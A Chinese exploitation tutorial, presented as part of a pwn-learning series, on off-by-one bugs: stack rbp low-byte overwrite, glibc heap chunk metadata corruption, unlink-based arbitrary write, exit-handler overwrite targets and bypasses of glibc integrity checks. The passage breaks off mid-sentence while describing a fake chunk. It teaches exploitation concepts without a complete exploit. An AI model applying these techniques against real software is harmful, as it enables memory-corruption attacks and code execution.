【Pwn-PWN入门-21-OffByOne遇险】此文章归类为:Pwn。
在内存溢出的场景下,我们一般都会假设这样一个事情,即可以越界写入很多数据。
以栈溢出为例,我们不仅需要填充本地缓冲区变量,还需要一直覆盖到rbp + 0x8
到rbp + 0x10
的位置,因为rbp + 0x8
和rbp + 0x10
之间的区域,存放的是被调用函数的返回地址,来方便我们控制程序的执行流程。
但是,根据一则江湖传闻来讲,只溢出1个字节时,也可能导致rip
被控制。
产生这种的情况的原因,通常来自与GLibC中两个坑爹函数的特性。
首先strcpy
和strlen
是C语言中两个非常常用的函数,其中strlen
接受一个字符串指针作为参数,它会返回字符串中可用字符的数量,其中由于\0
作为结束标识符存在,不会看作是可用字符。
而strcpy
函数接受两个字符串指针作为参数,指针2中的数据会被复制到指针1当中,复制的数据包含可用字符和结束标识符\0
,坑爹的场景就此诞生。
1 2 3 4 5 6 7 | #define BUF_MAX 10 char data[BUF_MAX]; char * buf = "AAAAAAAAAA\0" ; - > buf = 10 * 'A' + 1 * '\0' int len = strlen(buf); - > len = 10 if ( len < = BUF_MAX) { strcpy(data, buf); - > data = "AAAAAAAAAA\0" - > '\0' overflow } |
如果你有strlen
检查一个字符串,这个字符串的可用字符刚好等于上限大小,那么你检查时就会发现字符串的长度符合要求,此刻在你的潜意识中,使用strcpy
不会导致溢出,但是由于strcpy
连\0
一块复制,所以会导致变量溢出一个字节。
在64位系统当中,地址一般占用48位比特空间,所以地址一般由12个十六进制数字组成,又因为常见的系统使用的都是小端字节序,所以64位地址中高位为0x0000的字节会位于低位地址,所以如果数据中存在地址,那么因为strcpy
遇到\0
的特性,就会导致复制的字符串被截断而不全,此时可能无法造成Off By One
的情况。
1 2 3 4 | addres = 0x00007fff44332211 char * tmp = "AAAA11223344ff7f0000BBBBB" strcpy(data, tmp) - > data = "AAAA11223344ff7f" |
假如缓冲区变量上方存放着调用者的rbp
,且缓冲区变量只溢出一个字节时,那么被调用函数rbp
的最低字节位就会被覆盖。
1 2 3 4 | | caller ret | | callee rbp | | caller rbp | | buffer var | |
此刻,在程序执行leave
和ret
指令时,会产生一次栈迁移。
1 2 3 4 5 6 | strcpy - > change [callee rbp] from 0x4050AA - > 0x405000 leave - > mov rbp, rsp - > pop rbp - > new rbp = 0x405000 ret - > pop rip - > caller return address |
返回调用函数后,调用函数会直接使用被篡改的rbp
,当调用函数返回时,leave
指令会将rsp
变成broken rbp + 0x8
,ret
根据*(rsp)
获取新的rip
。
1 2 3 4 5 6 | caller function - > current rbp = 0x405000 - > leave - > mov rbp, rsp - > new rsp = 0x405000 - > pop rbp - > new rbp = * ( 0x405000 ) && rsp + 0x8 - > ret - > pop rip - > new rip = * ( 0x405008 ) |
这个时候,rip
就落入了我们的控制范围内。
但是我们能控制被篡改的broken rbp
上面的数据吗?
这个问题的答案并不唯一,因为被破坏的broken rbp
只有在部分场景下可控的。
下面的两条之类是一个非常典型的函数序言,序言先将rsp
变成本函数的rbp
,在通过sub
指令分配栈空间。
当*(callee rbp)
被\0
覆盖时,*(callee rbp)
的低位字节肯定是固定的,而且*(callee rbp)
的范围也是固定的,这个范围是0xXXXXFF
到0xXXXX00
。
1 2 | mov % rsp, % rbp sub $ 0x20 , % rsp |
所以只要分配的缓冲区大小,可以让被调用函数的rsp
到达0xXXXX00
以下的区域,且被调用函数的callee rbp
位于0xXXXX08
以上的区域时,我们就可以向缓冲区变量中填充恶意地址,让ret
指令将恶意地址弹出到当前程序指针寄存器rip
中,并让程序开始执行。
1 2 3 4 5 6 | | caller rbp | rbp | ...... | | hacker location | 0xXXXX08 | ...... | lowest address - > 0xXXXX00 | ...... | | rsp = rbp - xxx | |
想要在ret
通过*(rsp)
获取新rip
时,还要面临一个问题,就是受ASLR机制影响的动态地址,虽然函数栈大小通常是固定的,但栈地址往往是不固定的,你可能需要一个明确的栈地址,才可以完成利用。
当前,如果调用者的rbp
的最低字节本来就是0x00,那么这种溢出就毫无意义。
在现代64位的Linux系统中的,64位程序的rsp
一般都要求和0x10对齐,但经过完整的Off By One
利用链,rsp
地址都会变成0xXXXX08
,这个地址显然是不符合对齐要求的,所以想要完成利用,还需要处理地址对齐的问题。
通过上面对栈溢出下的OffByOne
利用描述,我们可以知道,OffByOne
的产生有两个条件,一是源字符串和目标缓冲区变量的大小一致,二是使用类似strcpy
这样的坑爹函数,在复制时会默认将源字符串的结束字符\0
一块复制过来,当源字符串中的可用字符已经填满缓冲区变量时,\0
就成了压死骆驼的最后一根稻草。
栈溢出下的OffByOne
处处受限,那堆溢出场景下呢?
提到堆内存就离不开malloc_chunk
结构体,它是与堆内存联系最紧密的数据结构。
1 2 3 4 5 6 7 8 | struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; INTERNAL_SIZE_T mchunk_size; struct malloc_chunk * fd; struct malloc_chunk * bk; struct malloc_chunk * fd_nextsize; struct malloc_chunk * bk_nextsize; }; |
结构体存在着两个相似元素,一是mchunk_size
,二是mchunk_prev_size
,它们不只名字相似,而且这两个变量所属的数据类型也是一致的。
其实你也可以说,struct malloc_chunk
中其他的几个成员也是相似的,之所以特意提及mchunk_size
和mchunk_prev_size
,是因为它们是极其特殊的。
这个特殊性体现在struct malloc_chunk
使用阶段和空闲阶段的使用上。
在正常的印象中,struct malloc_chunk
中的全体成员都应该是不能被占用的,但或许是为了减少不必要的内存开销,向fdxx
和bkxx
这样只在chunk处于空闲状态时才会被使用的成员,在chunk被使用时,就会当作普通的数据区来使用。
chunk在使用时,malloc_chunk
只有mchunk_size
和mchunk_prev_size
两个成员被使用,size
成员的上方不再是fd
,直接就是数据存放的起始地址。
1 2 3 4 5 6 7 8 9 10 11 12 | | ...... | | data 2 | | mchunk_size 2 | | mchunk_prev_size 2 | | data 1 | | mchunk_size 1 | | mchunk_prev_size 1 | struct malloc_chunk { INTERNAL_SIZE_T mchunk_size; INTERNAL_SIZE_T mchunk_prev_size; } |
struct malloc_chunk
中的mchunk_size
和mchunk_prev_size
成员,还有一个特殊的属性,那就是它们低三个比特位的空间对大小数值来讲应该永远都为0,因为在实际情况中,低三个比特位空间会被当做标志位空间来使用。
mchunk_size
和mchunk_prev_size
对应的真实大小为size & b111...000
。
1 2 3 | #define PREV_INUSE 0x1 上一个chunk是否可以被使用 #define IS_MMAPPED 0x2 是否由mmap分配 #define NON_MAIN_ARENA 0x4 是否属于主线程 |
我们已经知道了一个事实,那就是程序在通过GLibC申请堆内存时,GLibC的内部会通过request2size
接口,将申请内存与对齐值对齐。
但是32位和64位程序申请的内存经过request2size
转换后,产生的效果并不一样。
那么原因是什么呢?
首先程序申请的内存大小req
,它会向下跟MALLOC_ALIGNMENT
对齐,但得到的对齐值可能是小于实际申请大小的,这样肯定不行。
MALLOC_ALIGN_MASK
是2^n - 1
,取反后低n
个比特位均为0,源数值跟它进行与运算后,源数值的低n
个比特位也会变成0,要知道对齐是什么,被对齐后的数值可以被对齐值整除,清除低n
个比特位刚好满足这一特点。为了内存向下对齐时,对齐值至少也要大于等于申请内存,所以request2size
会在req
的基础上加上SIZE_SZ + MALLOC_ALIGN_MASK
。
该值是大于MALLOC_ALIGNMENT
并且小于2 * MALLOC_ALIGNMENT
的,当req
加上补充值之后,再进行对齐得到的内存大小就是大于等于申请的内存了。
1 2 3 4 5 | #define MALLOC_ALIGNMENT 2 * SIZE_SZ #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) - > (((req) + 3 * SIZE_SZ - 1 ) & ~( 2 * SIZE_SZ - 1 )) |
扩大后的内存值可能会超出离原申请内存大小向上对齐时最近的数值,因此实际申请到的内存值不是离原申请值最近的向上对齐值。
1 2 3 4 5 6 7 8 9 | malloc - > 252 bytes 32 - > request2size - > recevie bytes = 252 - > recent align value = 256 , 264 - > output bytes = ( 252 + 11 ) & (~ 7 ) = ( 263 ) & (~ 7 ) = 256 64 - > request2size - > recevie bytes = 252 - > recent align value = 256 , 272 - > output bytes = ( 252 + 23 ) & (~ 15 ) = ( 275 ) & (~ 7 ) = 272 |
申请的内存大小经过request2size
对齐后会产生两种结果,一是让申请大小向上对齐到最近的数值A,二是让申请大小向上对齐到第二近的数值B。
对齐数值的差异,原因就源自于request2size
宏,该宏会在申请值的基础上加上一个偏移值,当申请值+偏移值得到的最终值再向下对齐时,就会产生实际内存比申请值还有小的情况了。
这个偏移值就是SIZE_SZ + MALLOC_ALIGN_MASK
,当前申请大小加上便宜时,最小值肯定会超过数值A,最大也不会超过向上对齐时的第三近数值C,所以向下对齐后最大也就是数值B。
1 2 3 4 5 6 7 8 9 10 11 12 | SIZE_SZ = 8 MALLOC_ALIGNMENT = 2 * SIZE_SZ = 0x10 SIZE_SZ + MALLOC_ALIGN_MASK = 3 * SIZE_SZ - 1 malloc (n * 0x10 ) + x, 0 < x < = 8 - > request2size - > ((n * 0x10 ) + x) + ( 3 * 8 - 1 ) & (~ 15 ) - > ((n * 0x10 ) + Y) & (~ 15 ), 0x10 < Y < 2 * 0x10 - > return ((n + 1 ) * 0x10 ) malloc (n * 0x10 ) + x, 8 < x < 2 * 8 - > request2size return ((n + 2 ) * 0x10 ) |
当申请内存通过request2size
向上对齐时得到是最近数值时,就会产生一个有趣的现象,因为使用阶段mchunk_size
和mchunk_prev_size
会占用chunk的0x10字节的内存空间,所以数据区域可以使用的大小等于申请到的内存大小减去0x10。
如果申请到的内存大小是第二近的对齐值(向上)时,就不会有问题,因为相当于多出MALLOC_ALIGNMENT
大小的空间留给mchunk_size
和mchunk_prev_size
。
所以这个时候数据区可以使用的内存大小还是小于程序最初申请大小的,如果程序还是用最初申请大小进行判断,当前chunk的下一个chunk中部分信息被覆盖。
next chunk
被覆盖的大小为x
。
1 2 3 4 | malloc (n * 0x10 ) + x, 0 < x < = 8 - > get ((n + 1 ) * 0x10 ) - > data range - > (n * 0x10 ) - > (n * 0x10 ) < (n * 0x10 ) + x |
当x
小于8时,next chunk
的mchunk_prev_size
会被部分篡改,当x
等于8时,Off By One
场景就会发生,此时不止mchunk_prev_size
会被完全覆盖,而且next chunk
的mchunk_size
的最低字节也会被\0
覆盖。
1 2 3 4 5 6 | | data | | mchunk_size | | mchunk_prev_size | - > next chunk start | data | | mchunk_size | | mchunk_prev_size | - > current chunk start |
嗯,OffByOne
发生时,mchunk_prev_size
和mchunk_size
成员是最容易被影响的,这两个最常被用在什么地方,又有什么利用机会呢。
在GLibC的堆管理概念中,一个chunk被释放时,为了尽可能避免碎片化的内存,它可能会和已存在的空闲chunk合并。
chunk的合并只有在非fastbin
以及非mmap
分配的情况下才会产生。
1 2 3 4 5 6 7 8 | #define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED) _int_free - > mchunkptr nextchunk = chunk_at_offset(p, size); - > if ((unsigned long )(size) < = (unsigned long )(get_max_fast ())) - > ...... - > else if (!chunk_is_mmapped(p)) - > ...... |
合并流程有一个特点,那就是它与mchunk_prev_size
和mchunk_size
的值高度关联,这两个成员的数值直接影响着chunk释放时的合并流程。
chunk在合并时,会先进入_int_free_merge_chunk
函数,它先判断当前chunk的mchunk_size
中的标志位P
,如果P
为0,就代表上一个chunk是空闲的,所以该chunk可以和上一个chunk合并,这时GLibC继续进入unlink_chunk
函数。
上一个chunk位于当前chunk的下方,此时合并低地址的chunk属于负方向,所以也被称作是向后合并。
当然进入unlink_chunk
之前,_int_free_merge_chunk
会更新当前chunk,更新的目的是为了合并上一个chunk,所以更新的步骤分成两个部分,一是更新大小,二是更新指向当前空闲chunk的指针p
。
大小吗,就是当前chunk的大小再加上上一个chunk的大小,上一个chunk的大小被记录在当前chunk的mchunk_prev_size
成员中,至于指针吗,chunk都是相邻的,当前指针减去上一个chunk的大小后,新指针就指向上一个chunk了。
fd
指针或bk
指针中保存的chunk都未必是相邻的chunk,那它们进行合并并不一定合适,但根据mchunk_prev_size
减去的地址就一定靠谱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #define prev_size(p) ((p)->mchunk_prev_size) #define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE) #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) _int_free - > mchunkptr nextchunk = chunk_at_offset(p, size); - > if ((unsigned long )(size) < = (unsigned long )(get_max_fast ())) - > ...... - > else if (!chunk_is_mmapped(p)) - > _int_free_merge_chunk - > if (!prev_inuse(p)) - > prevsize = prev_size (p); - > size + = prevsize; - > p = chunk_at_offset(p, - (( long ) prevsize)); - > unlink_chunk - > size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); - > _int_free_maybe_consolidate (av, size); |
unlink_chunk
的操作并不复杂,主要是将上一个空闲chunk从链表中解放出来。
合并完上一个chunk后(当前chunk的向后合并)会进入_int_free_create_chunk
的内部继续合并。
向前合并,指的就是当前chunk与处于高地址的nextchunk
的合并流程。
nextchunk
的查找由_int_free_merge_chunk
函数负责,因为chunk相邻的关系,所以我们可以轻松的根据当前chunk指针和大小得到next chunk
的起始地址。
1 2 | _int_free_merge_chunk - > mchunkptr nextchunk = chunk_at_offset(p, size) |
_int_free_create_chunk
拿到next chunk
后,会先跟arena中的top chunk
指针进行比较,如果发现next chunk
就是top chunk
,top chunk
一定是空闲的,所以就会将当前chunk与top chunk
进行合并。
由于top chunk
并不会存放在链表中,所以也不需要经过unlink_chunk
。
1 2 3 4 5 6 | _int_free_create_chunk - > if (nextchunk ! = av - >top) ...... - > else - > size + = nextsize; - > av - >top = p; |
如果发现next chunk
不是top chunk
,就会检查next chunk
的下一个chunk的mchunk_size
(mchunk_size
的标志位P记录的都是上一个chunk的使用状态)中的标志位P,是0就说明nextchunk
空闲,会对nextchunk
进行向后合并,然后通过unlink_chunk
将nextchunk
从链表中释放出来。
如果P位是1,那就会通过clear_inuse_bit_at_offset
宏直接将next chunk
的mchunk_size
中的P位设置成0,相当于告诉next chunk
,当前chunk已经被释放了,后面轮到next chunk
释放时,就可以对当前chunk进行向后合并。
但是不管nextchunk
是不是空闲的,在nextchunk
不是top chunk
的情况下,负责向前合并的_int_free_create_chunk
函数都会将当前空闲chunk(当前chunk可能已经吞掉了prev chunk
和next chunk
)放到unsorted bins
链表中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | _int_free_create_chunk - > if (nextchunk ! = av - >top) - > bool nextinuse = inuse_bit_at_offset (nextchunk, nextsize); - > if (!nextinuse) - > unlink_chunk (av, nextchunk); - > size + = nextsize; - > else - > clear_inuse_bit_at_offset(nextchunk, 0 ); - > mchunkptr bck = unsorted_chunks (av); - > mchunkptr fwd = bck - >fd; - > p - >fd = fwd; - > p - >bk = bck; - > bck - >fd = p; - > fwd - >bk = p; - > else ...... |
当然,你可能会好奇nextchunk
就一定是未被使用的吗,万一它在使用状态时被当成空闲chunk怎么办呢!
首先nextnextchunk
的mchunk_size
中的P
位为0时,就代表nextchunk
是空闲的,合并不会带来风险,当P位为1时,也只更新nextchunk
的mchunk_size
的P位为0,告诉nextchunk
当前chunk是可以被合并的。
总的来讲,发现chunk是以非mmap
方式分配时,会产生两种合并方式,一是检查当前chunk的mchunk_size
的PREV_INUSE
位,当前一个chunk空闲时,当前chunk就会合并prev chunk
,因为堆是向高位地址增长的,所以也被称作是向后合并。
完成向后合并会继续进入_int_free_create_chunk
函数,对nextchunk
进行向前合并,这里分成两大种情况,情况一是发现nextchunk
就是top chunk
,那么这个时候会完成top chunk
合并当前chunk的操作。
情况二复杂一些,因为它又分成两种情况,情况的分类是根据nextchunk
的状态进行区分的,每个chunk的mchunk_size
成员会记录上一个chunk的是否空闲INUSE
信息,所以函数会通过nextnextchunk
检查nextchunk
。
nextchunk
空闲时会直接将它合并,反之会将nextchunk
的mchunk_size
成员的标志位P设置成0,告诉nextchunk
当前chunk已经处于空闲状态。
1 2 3 4 5 | | top chunk | - > pointing to new current chunk | ...... | | next chunk | - > prev && current && next merge to top chunk / && next merge to current chunk / update PREV_INUSE, let nextchunk konw current chunk has beenn free | current chunk | - > PREV_INUSE = = 0 - > merge prev chunk by unlink_chunk - > update current chunk to prev chunk && update size | prev chunk | |
在负责chunk合并的_int_free_merge_chunk
函数中,会检查当前释放的chunk是否为top chunk
,在之前对于堆内存的申请以及扩大情况的了解中,我们就知道了位于最顶部top chunk
始终处于空闲状态,申请时会先从top chunk
获取可用的内存,所以top chunk
没有释放一说。
1 2 3 | _int_free_merge_chunk - > if (__glibc_unlikely (p = = av - >top)) - > malloc_printerr ( "double free or corruption (top)" ) |
从上面我们了解到了,堆场景下OffByOne
影响着struct malloc_chunk
的成员,以及这两个成员在合并过程中发挥的作用,但是漏洞又是如何产生的呢?
假设chunk 1
通过malloc
接口申请了(n * 0x10) + 8
字节的内存,那么GLibC实际会给程序返回((n + 1) * 0x10)
大小的内存。
实际存放数据的大小为(n * 0x10)
,比预期小了8字节。
此时程序通过strcpy
接口向变量复制数据,被复制数据为"AAA...\0"
,其中字符A
有(n * 0x10) + 8
个,显然这样会导致缓冲区变量溢出9个字节。
chunk 2
的mchunk_prev_size
被覆盖成AAAAAAAA
,mchunk_size
的最低字节会被\0
覆盖,相当于chunk 2
的mchunk_size
的标志位P
位被置0。
如果chunk 2
被释放,且chunk 1
尚未被释放,那么这个时候会发生什么呢?
1 2 3 4 5 6 | | data | | mchunk_size 2 | - > XXXX00 | mchunk_prev_size 2 | - > "AAAAAAAA" | AAAA ...... | | mchunk_size 1 | | mchunk_prev_size 1 | |
chunk 2
会进入_int_free_merge_chunk
,并检查mchunk_size
的P位,这时会发现尚未被释放的chunk 1
可以被自己合并。
嗯,意外开始产生了。
通过chunk_at_offset
将当前指针从chunk 2
移到chunk 1
时,真正的危险也来了,变更过的新指针p
会进入unlink_chunk
函数的内部。
1 2 3 4 5 | _int_free_merge_chunk - > if (!prev_inuse(p)) - > INTERNAL_SIZE_T prevsize = prev_size (p); - > p = chunk_at_offset(p, - (( long ) prevsize)); - > unlink_chunk (av, p); |
unlink_chunk
函数内部会出现*(p+xxxx) = xxxx
的语句(xx->xx = xx
),我们可以说这是一个很平常的赋值操作,也可以说这是一个极其危险的操作。
当chunk被释放时,struct malloc_chunk
中的fdxx
和bkxx
成员会正式被启用且更新,因为这些成员负责接入链表当中。
但当chunk 1
尚未被释放且进入unlink_chunk
时,那么malloc_chunk
结构体中的fdxx
和bkxx
数据就还没有被更新,*(p+xxxx) = xxxx
会直接使用chunk上存储的数据作为读取和写入的来源。
1 2 3 4 5 6 7 8 9 | unlink_chunk - > mchunkptr fd = p - >fd; - > mchunkptr bk = p - >bk; - > fd - >bk = bk; - > bk - >fd = fd; - > if (!in_smallbin_range (chunksize_nomask (p)) ...) - > fd - >fd_nextsize = xxx - > fd - >bk_nextsize = xxx ...... |
当chunk上放置的是恶意地址时,就会构成任意地址读写。
1 2 3 4 5 6 7 | chunk 1 overflow 8 * 'A' + '\0' - > chunk 2 - > mchunk_size.PREV_INUSE = = 0 - > chunk 1 can merge - > chunk 2 free - > find chunk 1 can merge - > chunk 1 fdxx && bkxx without reset to bins list - > xx - >xx = xx - > use chunk 1 data - > can control xx - >xx = xx |
再假设一下,chunk 1
溢出了0x10字节,那么不知mchunk_prev_size
会被完全控制,而且mchunk_size
也会被完全控制。
控制chunk 2
的mchunk_size
,说废话就是拥有了控制chunk 2
大小的能力,比如让chunk 2
直接包含chunk 3
,乃至地址更高的chunk,如果chunk 3
还是已分配的状态,那么就会被chunk 2
强制拉到了未分配的区域。
1 2 3 4 5 6 7 8 9 | | AAAA ...... | | mchunk_size 3 | | mchunk_prev_size 3 | - > chunk 3 | AAAA ...... | | mchunk_size 2 | | mchunk_prev_size 2 | - > chunk 2 | AAAA ...... | | mchunk_size 1 | | mchunk_prev_size 1 | - > chunk 1 |
如果想要完成利用获取Shell呢,有两个比较好的覆写点,一是got
表项,但是got
表项可能是只读的,二是tls_dtor_list
和exit_function
变量。
在常规的影响中,程序退出时会调用GLibC的exit
函数进行退出,在常规情况下,退出函数并不会做什么特别的操作,但如果注册过特殊的函数那就不一样了。
最常见的特殊退出函数注册机制就是atexit
机制,GLibC提供atexit
接口,该接口接受函数指针作为参数,并来到__internal_atexit
。
它先通过__new_exitfn
分配新的exit_function
,并将新exit_function
插入__exit_funcs
链表中。
回到__internal_atexit
后,会给新的exit_function
填充数据。
1 2 3 4 5 6 7 8 | static struct exit_function_list initial; struct exit_function_list * __exit_funcs = &initial; atexit - > __cxa_atexit - > __internal_atexit - > new = __new_exitfn (__exit_funcs); - > new - >func.cxa.fn = (void ( * ) (void * , int )) func; |
atexit
机制还会利用.fini_array
节,GlibC提供__attribute__
关键字,当该关键字和destructor
合作时,编译器会将函数注册到.fini_array
节中。
程序在初始化启动的过程中,会进入LIBC_START_MAIN
函数,该函数的作用是主动注册call_fini
作退出函数,而call_fini
的作用是遍历.fini_array
节,并调用.fini_array
节中存储的函数。
1 2 3 4 5 | __attribute__ ((destructor)) void xxx (void) {} - > .fini_array [xxx, ...] LIBC_START_MAIN - > __cxa_atexit (call_fini, NULL, NULL); |
当程序退出进入exit
函数时,它会先进入__run_exit_handlers
的内部查找已经注册的退出函数,它先通过__call_tls_dtors
函数遍历tls_dtor_list
全局变量,最后再遍历exit_function_list
全局变量。
1 2 3 4 | exit - > __run_exit_handlers (status, &__exit_funcs, true, true); - > __call_tls_dtors - > exit_function_list |
tls_dtor_list
和exit_function_list
都是全局变量,它们的区别是什么呢?
exit_function_list
对整个进程有效,而tls_dtor_list
只针对线程有效。
1 2 3 | __cxa_thread_atexit_impl - > struct dtor_list * new = calloc ( 1 , sizeof (struct dtor_list)) - > new - >func = func |
除了__cxa_atexit
,你其实还可以发现有针对C++产生的__cxa_finalize
,它被提供给析构函数,在析构函数退出时执行。
显然,利用这些全局变量有一个最大的好处,就是它们不仅可读可写,而且当退出程序发生时,就一定会被执行。
现实往往不是那么友好的,针对unlink_chunk
的利用方法很早就存在了,GLibC也针对这些问题进行了加固。
unlink_chunk
在进行向前合并时,会检查链表是否正确,这个检查只会出现在较新版本的GLibC中,所以这种利用方法已经失效了。
1 2 3 4 5 | unlink_chunk - > fd = p - >fd - > bk = p - >bk - > if (__builtin_expect (fd - >bk ! = p || bk - >fd ! = p, 0 )) - > malloc_printerr ( "corrupted double-linked list" ); |
除了这个检查之外,_int_free_merge_chunk
函数在进入unlink_chunk
之前,检查chunk 2
保存的mchunk_prev_size
与chunk 1
保存的mchunk_size
是否一致,如果不一致就说明有问题会抛出错误。
1 2 3 4 5 6 | _int_free_merge_chunk - > if (!prev_inuse(p)) - > p = chunk_at_offset(p, - (( long ) prevsize)); - > if (__glibc_unlikely (chunksize(p) ! = prevsize)) - > malloc_printerr ( "corrupted size vs. prev_size while consolidating" ); - > unlink_chunk (av, p); |
尽管上面的利用方法已经失效了,但是并不应该影响我们思考漏洞是如何产生的,调试方法是调试器也好,亦或者说依赖源代码与打印也罢,调试最基本的需求都是尽可能的建立系统、指令、源程序之间的关系,调试器以来DWARF和ELF定义还原信息,优点是利用操作获取结果的方式更加智能,而源代码与打印的方式,虽然语义信息是原生的,但是操作起来可能没有那么智能。
上面提到了漏洞,也提到了调试,它们之间又有什么关系呢?
调试方法帮助我们建立起低级指令与高级语义间的联系,但是这个东西就像一个二维平面一样,上面给出的示例中,合并操作与赋值语句都是极为常见的操作,但它们却在特定环境下出现了漏洞层面的联系,这种特定环境依赖于释放的时机与数据的构造。
以今天的眼光来看,理解这些漏洞与利用方式可能都不是什么困难的事情,因为我们可能只是承担了一个翻译机的角色,但是在我们真正去调试程序时,又应该在掌握高级语义的情况下,站在高维空间中洞察代码的数据结构中的漏洞呢?
mchunk_prev_size
控制着向后合并的范围,而mchunk_size
则控制着向前合并的范围以及向后合并的可行性。
但是这两个数值是可以任意设置的吗?
mchunk_size
设置成任意值时,不管通过公式p + mchunk_size
得到的新地址是不是top chunk
,造成的影响都是相似的。如果当前chunk意外合并高地址的未释放chunk时,这些chunk的结局有两个,一是直接并入top chunk
,二是合并进入空闲链表中。
但程序肯定还不知道这件事情,它可以继续从被动释放的chunk中读写数据,传统的UAF都是主动释放但指针未置零,因此这种情况可以算作是一种另类的UAF。
除了UAF风险外,我们还有可能从top chunk
或链表中申请到已存在的chunk,毕竟程序眼中是释放了,但GlibC眼中还是空闲的,空闲chunk自然也就能再被分配出去。
至于如何被利用,实际上还是要取决于程序对chunk上数据的操作。
mchunk_prev_size
设置成任意值时,影响的就是向后合并的范围,与向前合并时轻松不同,篡改mchunk_prev_size
进行异常向后合并需要面对合并失败的情况。a. chunk A
向前合并相邻的chunk B
。
首先面临的是chunk大小的匹配检查。
因为相邻,所以chunk B
的mchunk_size
一定是chunk B
到chunk A
的偏移值,这与chunk A
的mchunk_prev_size
是一致的。
chunk大小的匹配检查在这个时候不会发现问题。
合并相邻低地址的chunk是一句废话吗?因为好像本来也会合并。
这可能是废话,也可能不会是,当chunk B
空闲时,chunk A
的mchunk_size
的标志位P
会是0,这个时候当然本来就应该合并。
但如果chunk B
不空闲,且chunk A
的mchunk_size
的标志位P
被抹掉了,才会造成意外的合并。
b. chunk A
向前合并非相邻的chunk B
。
chunk A
的mchunk_prev_size
被篡改后,chunk A
找到chunk B
当然没有什么问题,但是能不能绕过大小匹配检查就是一个严重的问题了。
在理想中,chunk A
的mchunk_prev_size
和chunk B
的mchunk_size
,指的都是chunk A
相对于chunk B
的偏移值,但在合并非相邻chunk时,这两数值的大小显然不会相同。
这个时候chunk大小的匹配检查在这个时候会发现问题。
除非chunk B
的mchunk_size
也被我们控制了。
此时我们假设检查1已经绕过,但是检查2又应该怎么绕过呢?
a. 在GlibC的bins链表中,有一个很有意思的特性,那就是初始元素的数值,初始数值帮助链表形成双向链表的特性,可以帮助我们完成利用。
bins数组在正式使用前会被初始化,初始化是为了变成循环链表,这与fast bin
采用单向链表的策略有所不同。
bins数组存放着很多链表,bins数组每两个元素组成一个链表,bins数组会存放三种类型的链表,它们分别是unsorted bin
、small bin
以及large bin
。
bins数组中的bins[0]
和bins[1]
是留给unsorted bin
使用的,其余部分留给剩下的两种类型使用。
链表中的bins[(i - 1) * 2]
代表fd
成员领衔的后进先出链表。
链表中的bin[(i - 1) * 2 + 1]
代表bk
成员领衔的先进先出链表。
arena初始化时,GlibC会将数组中的元素初始化成bin = bin_at(M, i)
,该宏默认返回链表尾&bins[(i - 1) * 2] - offset(fd)
。
这个链表尾提供了一个很好的性质。
即bin->fd
为bins[(i-1)*2]
,bin->bk
为bins[(i-1)*2 1]
,即初始数值可以检索到自身第i
对链表,进而形成双向链表。
1 2 | xxxx - >xx = A - > * (xxxx + xx) = A - > (xxxx + xx) = &A - > xxxx = &A - xx |
因此只要被向前合并的chunk是链表中唯一的chunk,那么就可以绕过链表检查。
1 2 3 4 5 6 7 8 | mchunkptr fd = p - >fd; - > fd = &bins[(i - 1 ) * 2 ] - offset(fd) mchunkptr bk = p - >bk; - > bk = &bins[(i - 1 ) * 2 ] - offset(fd) if (fd - >bk ! = p || bk - >fd ! = p) malloc_printerr ...... fd - >bk ! = p || bk - >fd ! = p - > fd - >bk = bk - >fd = bins[(i + 1 ) * 2 + 1 ] = p |
但这么做好像也不对啊,被向前合并的chunk若本来就是链表中唯一的chunk,那就代表它原本就是空闲的啊,上面提到的做法本来就是符合链表规则的。
所以也就不存在合并未释放的chunk一说了。
b. 由于假设被向前合并的chunk需要是尚未释放的,但被强行拉进了合并流程中,所以chunk中fdxx
和bkxx
肯定是还没有被赋值的,此时检查直接使用的就是chunk中的数据,这些可控的数据显然可以帮助我们完成利用。
由于我们可以控制p + fd
和p + bk
的值,那么*(p + fd/bk)
结果就可以指向恶意地址,那么p->fd
和p->bk
就会落入我们设定好的目的地中。
更进一步的话fd->bk
和bk->fd
的结果也可以被我们控制。
只不过这种恶意数据的构造需要花上不小的经历。
1 2 3 4 5 6 7 | fd = p - >fd - > * (p + fd) bk = p - >bk - > * (p + bk) if (fd - >bk ! = p || bk - >fd ! = p) ...... (p - >fd) - >bk = * ( * (chunk_addr + 0x10 ) + 0x18 ) (p - >bk) - >fd = * ( * (chunk_addr + 0x18 ) + 0x10 ) |
chunk B
是被合并。当chunk A
触发OffByOne
时,chunk A
的mchunk_prev_size
会被控制,我们可以定位到chunk B
,这时chunk的大小匹配检查对我们是无效的。
但是进入unlink_chunk
进行链表检查时,会面临不小的问题。
使用链表初始值特性进行绕过,chunk B
就必须是链表中唯一的空闲chunk,这样的话就和chunk B
未释放的前提有所冲突。
而构造chunk B
上的数据需要面临地址泄露以及多处数据伪造的麻烦问题。
除非你既能控制chunk B
的mchunk_size
的数值,否则想要绕过chunk大小匹配检查基本就是空谈。
我们假设这样的一种场景,当前有三个chunk,其中chunk 1
与chunk 2
相邻,且位于更低的地址,同时chunk 1
申请了0x38
的内存大小。
至于chunk 3
它位于比chunk 1
与chunk 2
都更加低的地址上。
此时三个chunk都还没有被释放。
根据前面的学习我们可以知道,GLibC实际会给chunk 1
分配0x40的内存的空间,其中还有0x10的空间给mchunk_size
和mchunk_prev_size
使用。
chunk 1
的实际可用内存只有0x30,比预期少了0x8,具备触发OffByOne
场景的条件,此刻我们通过read
向缓冲区变量中写入0x38长度的数据,并在0x39处写入字符\0
,OffByOne
场景就此触发。
chunk 1
除了负责触发OffByOne
之外,还需要在0x38空间的前0x10空间,写入两个相同的特殊地址,这个特殊地址就是chunk 3
的数据区起始地址。
最后我们还要让chunk 1
想chunk 2
的mchunk_prev_size
写入新的偏移值,这个偏移值就是chunk 2
到chunk 3
数据区的距离。
完成之后,需要继续向chunk 3
的数据区写入内容,我们至少需要0x20的空间,因为我们需要构造假的malloc_chunk
结构体,但只需要前4个成员即可。
其中prev_size
可以随便写,size
需要写成chunk 2
